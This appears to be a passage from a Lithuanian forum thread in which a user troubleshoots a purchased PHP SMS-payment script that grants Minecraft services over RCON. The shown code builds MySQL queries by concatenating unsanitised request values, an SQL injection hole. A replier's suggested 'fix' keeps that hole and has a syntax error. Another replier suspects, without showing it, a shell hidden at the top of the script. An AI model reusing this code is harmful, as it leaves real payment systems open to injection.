               $Rcon = new MinecraftRcon;
               $Rcon->Connect($server_ip, $server_rcon_port, $server_rcon_password);
               foreach($cmds as $cmd){
                   $cmd = str_replace('[name]', $nick, $cmd); 
                   $command = $Rcon->Command($cmd);
                   $result .= $command;
               }
               $Rcon->Disconnect();
           }
           catch( MinecraftRconException $e )
           {
               $result = 'Negalimas prisijungimas prie rcon.';
               mysql_query("INSERT INTO sms SET sms='".$sms."', amount='".$amount."', nr='".$from."', result='".$result."' ") or die(mysql_error());
               print 'Negalimas prisijungimas prie rcon.';
               exit;
           }   
           $result = str_replace("\xa70", "", $result);
           $result = str_replace("\xa71", "", $result);
           $result = str_replace("\xa72", "", $result);
           $result = str_replace("\xa73", "", $result);
           $result = str_replace("\xa74", "", $result);
           $result = str_replace("\xa75", "", $result);
           $result = str_replace("\xa76", "", $result);
           $result = str_replace("\xa77", "", $result);
           $result = str_replace("\xa78", "", $result);
           $result = str_replace("\xa79", "", $result);
           $result = str_replace("\xa7a", "", $result);
           $result = str_replace("\xa7b", "", $result);
           $result = str_replace("\xa7c", "", $result);
           $result = str_replace("\xa7d", "", $result);
           $result = str_replace("\xa7e", "", $result);
           $result = str_replace("\xa7f", "", $result);
           $result = str_replace("\xa7k", "", $result);
           $result = str_replace("\xa7l", "", $result);
           $result = str_replace("\xa7m", "", $result);
           $result = str_replace("\xa7n", "", $result);
           $result = str_replace("\xa7o", "", $result);
           $result = str_replace("\xa7r", "", $result);
           $result = str_replace("'", "'", $result);
           include('connect.php');
           mysql_query("INSERT INTO sms SET sms='".$sms."', amount='".$amount."', nr='".$from."', result='".$result."' ") or die(mysql_error());
           print 'OK';
		}
	else {
		print 'error';
	}
	}
else {
	print 'error';	
}
}
?>

 

Matau kad ten yra print 'OK' ir 'error' bet nors ir uždeda žaidėjams paslaugas vistiek per VPSNET.LT rodo kad nepavyko nes negavok 'OK.

Ir gal galite paaiškinti kas ten per velniava po <?php ??? Kodas nemano, pirkau sistemą ir tokią gavau pusiau neveikiančia...

 

 

 

Štai klaida:

 

mysql_query("INSERT INTO sms SET sms='".$sms."', amount='".$amount."', nr='".$from."', result='".$result."' ") or die(mysql_error());

 

 

Turi būti taip:

 

mysql_query("INSERT INTO sms (sms,amount,nr,result) VALUES ('$sms','$amount','$from','$result'") or die(mysql_error());

Nuoroda į pranešimą
Dalintis kituose puslapiuose

Viršuje panašu į shellą ar kažką panašaus mesk velniop. O pirmo klausimo dalies nesupratau. Isveda print 'OK'; Ką tau su juo reikia dar padaryti ? Aiškiau norimą dalyką suformuluok. Ir nesitikėk, kad tu čia parašęs temą su savo tom cs'o skriptais gausi iškart atsakymą, pas pardavėją kreipkis ar pabandyk normaliau išaiškint kas teu ten iš tiesų blogai.

 

Beje, šį skriptą pirkai iš uždarbis.lt vartotojo?

tai nematai, kas parašyta? išveda OK, o su juo ir veiksmas vyksta, viską aiškiai suformulavo žmogus, jei nesupratai, nerašyk, kad blogai paklausė.

Nuoroda į pranešimą
Dalintis kituose puslapiuose

EdvinasJ, pakeičiau tą eilutę, bet manau tu ne taip manę supratai, ten į mysql rašo išrašus net nežinau kam taip padaryta nes to mysql naudoti čia ištikro nereikia kadangi uždedamos paslaugos per RCON su komanda. Problema yra tokia jog, žmogus nori užsisakyti paslaugas minecraft serveryję, išsiuntęs sms jis gauna atsakymus ir pnš, ateina man pinigai į VPSNET balansą, paslaugos žaidėjui užsideda per RCON, bet per VPSNET.LT rodo jog VPSNET sistema negavo 'OK' atsakymo ir man reikia jog VPSNET.LT gautu atsakymą 'OK' ar 'ERROR' priklausomai nuo aplinkybių.

 

http://www.part.lt/img/c5ad77d47215194417542e0083321afc694.png

 

Šitoj nuotraukoj yra 2 gauti sms, raudonai pažymėtas rodo jog iš skripto gautas atsakymas 'error' arba negautas joks. Antrame sms kuris yra baltam backgrounde, rodo, kad VPSNET.LT iš scripto gavo atsakymą 'OK'.

 

Man šitaip ir reikia, kad VPSNET.LT gautų iš skripto 'OK' ar 'ERROR' priklausomai nuo situacijos. Pvz jai žmogelis išsiųs sms VPSNET14 *** ****, o turėjo išsiųsti VPSNET15 *** **** tada skriptas turėtų išsiųsti atsakymą 'ERROR'. Viskas čia veikia ir neuždeda paslaugų jai taip nutinka bet atsakymą, visad VPSNET.LT gauna 'error' ar išvis negauna..

Redagavo DamnInside
Nuoroda į pranešimą
Dalintis kituose puslapiuose

Prisijunkite prie diskusijos

Jūs galite rašyti dabar, o registruotis vėliau. Jeigu turite paskyrą, prisijunkite dabar, kad rašytumėte iš savo paskyros.

Svečias
Parašykite atsakymą...

×   Įdėta kaip raiškusis tekstas.   Atkurti formatavimą

  Only 75 emoji are allowed.

×   Nuorodos turinys įdėtas automatiškai.   Rodyti kaip įprastą nuorodą

×   Jūsų anksčiau įrašytas turinys buvo atkurtas.   Išvalyti redaktorių

×   You cannot paste images directly. Upload or insert images from URL.

Įkraunama...
  • Dabar naršo   0 narių

    Nei vienas registruotas narys šiuo metu nežiūri šio puslapio.

×
×
  • Pasirinkite naujai kuriamo turinio tipą...